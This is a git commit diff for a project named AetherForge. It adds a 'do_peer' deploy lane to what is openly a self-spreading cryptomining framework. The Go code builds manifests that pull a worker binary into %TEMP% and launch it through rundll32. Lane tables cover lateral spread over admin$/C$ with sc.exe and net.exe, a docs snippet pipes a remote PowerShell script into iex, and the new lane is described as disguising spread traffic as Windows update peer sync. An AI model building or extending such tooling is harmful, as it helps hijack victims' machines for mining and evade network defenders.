Add do_peer Shadow Cache Handoff deploy tier for LOTL spread onion
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:57:46 -07:00
parent e37eb24369
commit 652356bfe6
23 changed files with 624 additions and 5 deletions

View File

@@ -27,6 +27,7 @@ type StagingManifest struct {
Encoded bool `json:"encoded"`
DeferMining bool `json:"defer_mining,omitempty"`
SpreadInstall bool `json:"spread_install,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
}
type StagingChunk struct {
@@ -40,6 +41,7 @@ type DeployPlanBody struct {
MatchedService string `json:"matched_service,omitempty"`
Action string `json:"action"`
Manifest *StagingManifest `json:"manifest,omitempty"`
PeerGroup string `json:"peer_group,omitempty"`
Script string `json:"script,omitempty"`
UNCPath string `json:"unc_path,omitempty"`
MaxHosts int `json:"max_hosts,omitempty"`
@@ -145,6 +147,13 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
}
switch lane.Lane {
case "do_peer":
manifest, err := h.buildDOPeerManifest(req, serverURL)
if err != nil {
return DeployPlanBody{}, err
}
body.Manifest = manifest
body.PeerGroup = manifest.PeerGroup
case "bits_curl":
manifest, err := h.buildStagingManifest(req, serverURL)
if err != nil {
@@ -182,6 +191,69 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
return body, nil
}
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
// then startMiningWhenReady() completes the mining onion (terminal goal).
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {
platform = "windows"
}
buildID := strings.TrimSpace(req.BuildID)
build, err := h.resolveBuild(buildID, platform)
if err != nil {
return nil, err
}
hash, err := fileSHA256(build.FilePath)
if err != nil {
return nil, fmt.Errorf("build hash: %w", err)
}
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
peerGroup := "af-peer-" + hash[:8]
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
}
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
launch := "exe"
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
launch = "rundll32"
}
return &StagingManifest{
Method: "bits",
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
SHA256: hash,
Dest: dest,
Launch: launch,
DLLExport: "DllRegisterServer",
DeferMining: true,
SpreadInstall: true,
PeerGroup: peerGroup,
}, nil
}
func sanitizeDeployToken(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
var b strings.Builder
for _, r := range s {
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
b.WriteRune(r)
}
}
out := b.String()
if out == "" {
return "local"
}
if len(out) > 24 {
return out[:24]
}
return out
}
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
if platform == "" {

View File

@@ -6,7 +6,7 @@ import (
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
type ServiceDeployLane struct {
Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
Lane string `json:"lane"` // bits_curl | do_peer | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
}
@@ -14,6 +14,8 @@ type ServiceDeployLane struct {
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"DoSvc": {Lane: "do_peer", Priority: 35},
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
@@ -65,6 +67,8 @@ func normalizeJoinLane(lane string) string {
switch lane {
case "bits", "bits/curl", "bits_curl", "bits-curl":
return "bits_curl"
case "do_peer", "do-peer", "dosvc":
return "do_peer"
case "docker", "docker_load", "docker-load":
return "docker_load"
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":

View File

@@ -2,6 +2,27 @@ package api
import "testing"
func TestPickDeployLaneDoSvc(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{
{Name: "CCMEXEC", Status: "running"},
{Name: "DoSvc", Status: "running"},
}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok {
t.Fatal("expected match")
}
if matched != "DoSvc" || lane.Lane != "do_peer" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestNormalizeJoinLaneDoPeer(t *testing.T) {
if got := normalizeJoinLane("do-peer"); got != "do_peer" {
t.Fatalf("got %q", got)
}
}
func TestPickDeployLanePriority(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},

View File

@@ -10,6 +10,7 @@ var DefaultLotlOnionTiers = []string{
"powershell",
"dotnet",
"bits_curl",
"do_peer",
"smb",
"winrm",
"linux",
@@ -21,7 +22,7 @@ func NormalizeLotlOnionTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
"bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {

View File

@@ -418,6 +418,11 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<td>BITS (<code>bitsadmin</code>) or <code>curl.exe</code> staging — optional <code>certutil -decode</code>, SHA256 verify, launch.</td>
<td>Crucible <code>stage_fetch</code>: <code>{"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"}</code></td>
</tr>
<tr id="lotl-tier-do_peer">
<td><strong>do_peer</strong></td>
<td>DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via <code>rundll32</code> or exe with <code>--defer-mining</code>.</td>
<td>Probe &amp; Join when <code>DoSvc</code> is running — signed plan: <code>{"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}}</code></td>
</tr>
<tr id="lotl-tier-smb">
<td><strong>smb</strong> (<code>spread_smb_unc</code>)</td>
<td>admin$ / C$ lateral via <code>sc.exe</code> + <code>net.exe</code> on open port 445 — no PsExec.</td>

View File

@@ -38,6 +38,11 @@ describe('Recon badges', () => {
});
it('JoinLaneBadge renders lane label', () => {
render(<JoinLaneBadge lane="do_peer" />);
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
});
it('JoinLaneBadge renders docker lane label', () => {
render(<JoinLaneBadge lane="docker" />);
expect(screen.getByText('Docker')).toBeInTheDocument();
});

View File

@@ -132,7 +132,7 @@ describe('forgeOperationModes', () => {
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(10);
expect(next.lotl_onion_tiers).toHaveLength(11);
expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);

View File

@@ -7,6 +7,7 @@ export const DEFAULT_LOTL_ONION_TIERS = [
'powershell',
'dotnet',
'bits_curl',
'do_peer',
'smb',
'winrm',
'linux',
@@ -81,6 +82,15 @@ export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
example:
'Crucible `stage_fetch` manifest: `{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[{\"url\":\"https://deck/chunk1.b64\",\"file\":\"c1.b64\"}],\"sha256\":\"abc…\",\"dest\":\"%TEMP%\\\\worker.exe\",\"launch\":\"exe\"}"}`.',
},
{
id: 'do_peer',
label: 'do_peer',
hint: 'DoSvc/BITS shadow cache handoff — LAN peer chunk staging',
definition:
'Windows Delivery Optimization (DoSvc) + BITS peer-style chunk staging on LAN. Agent seeds/receives hash-verified chunks via a local peer cache pattern and launches via rundll32/BITS — traffic resembles update peer sync, not lateral spread.',
example:
'Calibrate `service_deploy_allowlist` maps `DoSvc` → `do_peer`. Crucible **Probe & Join** when DoSvc is running: signed plan includes `peer_group`, `sha256`, `launch=rundll32`, and `--defer-mining` until diagnostics pass.',
},
{
id: 'smb',
label: 'SMB',

View File

@@ -32,6 +32,7 @@ describe('reconRisk', () => {
it('joinLaneLabel formats known lanes', () => {
expect(joinLaneLabel('winrm')).toBe('WinRM');
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
expect(joinLaneLabel('do_peer')).toBe('DoSvc peer');
expect(joinLaneLabel('')).toBeNull();
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
});

View File

@@ -73,6 +73,8 @@ const JOIN_LANE_LABELS: Record<string, string> = {
gpo: 'GPO',
docker: 'Docker',
bits: 'BITS',
do_peer: 'DoSvc peer',
bits_curl: 'BITS/curl',
intune: 'Intune',
'linux-lotl': 'Linux LOTL',
linux_lotl: 'Linux LOTL',